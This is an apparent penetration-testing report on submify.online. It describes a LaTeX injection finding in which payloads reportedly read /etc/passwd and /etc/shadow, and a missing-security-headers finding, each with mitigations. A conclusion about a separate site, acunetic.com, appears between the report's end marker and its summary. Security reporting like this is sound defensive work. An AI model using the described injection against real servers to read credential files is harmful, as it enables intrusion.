**Description:** LaTeX Injection is a vulnerability that occurs when a web application allows user-supplied LaTeX code to be executed without proper validation or sanitization. Attackers can exploit this vulnerability to execute arbitrary commands on the server or conduct other malicious activities.

**Payloads Successfully Injected:**

- Several payloads were successfully injected, including attempts to access sensitive system files such as `/etc/passwd`, `/etc/shadow`, `/etc/hosts`, and others.

**Security Implications:** The successful injection of LaTeX payloads indicates a potential vulnerability in the way the web application handles user input. If exploited, attackers could gain unauthorized access to sensitive system files, leading to data theft, privilege escalation, or server compromise.

**Exploitation Scenario:** Hackers could exploit this vulnerability to access sensitive information stored on the server, such as user credentials, configuration files, or system logs. By injecting malicious LaTeX code into user input fields, attackers can execute commands within the server's environment and potentially take control of the system.

**Mitigation:**

1. **Input Validation:** Implement strict input validation to ensure that user-supplied data does not contain malicious LaTeX code or other potentially harmful content.
2. **Sanitization:** Sanitize user input by removing or escaping special characters and symbols that could be interpreted as LaTeX commands.
3. **Least Privilege:** Limit the permissions and privileges of server-side processes to minimize the impact of successful exploitation.
4. **Content Security Policy (CSP):** Use CSP headers to restrict the sources from which resources can be loaded, reducing the risk of executing injected scripts.
5. **Regular Security Audits:** Conduct regular security audits and penetration testing to identify and remediate vulnerabilities in the web application's codebase and configuration.

**12. Absent Security Headers:**

Upon testing https://www.submify.online/, it was found that the website lacks several critical security headers, including:

- X-Content-Type-Options
- X-Frame-Options
- X-XSS-Protection
- Content-Security-Policy
- Referrer-Policy
- Feature-Policy
- Expect-CT

Vulnerability Assessment:

Vulnerability Level: High

Description: The absence of essential security headers exposes the website to various attacks, including clickjacking and Cross-Site Scripting (XSS). These headers play a crucial role in protecting the website and its visitors from common web vulnerabilities.

Potential Risks:

- Clickjacking: Attackers can potentially overlay malicious content on top of the website, tricking users into clicking on elements they did not intend to.
- XSS (Cross-Site Scripting): Without proper XSS protection, attackers can inject malicious scripts into the website, leading to the compromise of user data, session hijacking, and other security breaches.

Recommendations:

1. Implement missing security headers: Add the following security headers to enhance the website's security posture:
    - X-Content-Type-Options: Set to "nosniff" to prevent browsers from MIME-sniffing a response.
    - X-Frame-Options: Set to "DENY" or configure "ALLOW-FROM" to mitigate clickjacking attacks.
    - X-XSS-Protection: Enable the XSS filter in the browser.
    - Content-Security-Policy: Define a Content Security Policy to mitigate XSS attacks and other content injection vulnerabilities.
    - Referrer-Policy: Specify a referrer policy to control how much information is included in the Referer header.
    - Feature-Policy: Restrict the use of certain browser features to enhance security.
    - Expect-CT: Enforce Certificate Transparency to protect against misissued SSL certificates.
2. Regularly audit and update security configurations: Periodically review and update security headers and configurations to adapt to evolving threats and best practices.
3. Conduct thorough security testing: Perform regular security assessments, including vulnerability scanning and penetration testing, to identify and remediate security weaknesses proactively.

By implementing these recommendations, the website can significantly improve its security posture and protect both itself and its users from potential attacks.

—---------- End of Pentesting Report for Submify.online —---------

# Conclusion

The VAPT conducted on https://www.acunetic.com/ revealed a robust security posture with minimal vulnerabilities detected. The website demonstrates a strong commitment to security best practices, with all essential security headers properly implemented.

No critical vulnerabilities were found during the assessment, indicating that Acunetic.com has taken proactive measures to safeguard against common web threats. The presence of security headers such as X-Content-Type-Options, X-Frame-Options, X-XSS-Protection, Content-Security-Policy, Referrer-Policy, Feature-Policy, and Expect-CT contributes to a secure browsing experience for visitors.

While no vulnerabilities were identified, it is essential for Acunetic.com to continue prioritizing security by regularly monitoring for emerging threats and updating security configurations as needed. By maintaining a proactive approach to security, Acunetic.com can uphold its commitment to providing a safe and secure online environment for its users.

After conducting a comprehensive Vulnerability Assessment and Penetration Testing (VAPT) on https://www.submify.online/, several critical security issues were identified. The website lacks essential security headers, including X-Content-Type-Options, X-Frame-Options, X-XSS-Protection, Content-Security-Policy, Referrer-Policy, Feature-Policy, and Expect-CT. This vulnerability level is assessed as High.

These missing security headers expose the website to various attacks such as clickjacking and Cross-Site Scripting (XSS). Without proper protection mechanisms in place, the website and its visitors are at risk of data breaches, session hijacking, and other security compromises.

To address these vulnerabilities, it is recommended that Submify.online implements the missing security headers and regularly audits and updates its security configurations. By adopting proactive security measures and conducting regular security assessments, Submify.online can enhance its security posture and mitigate potential risks effectively.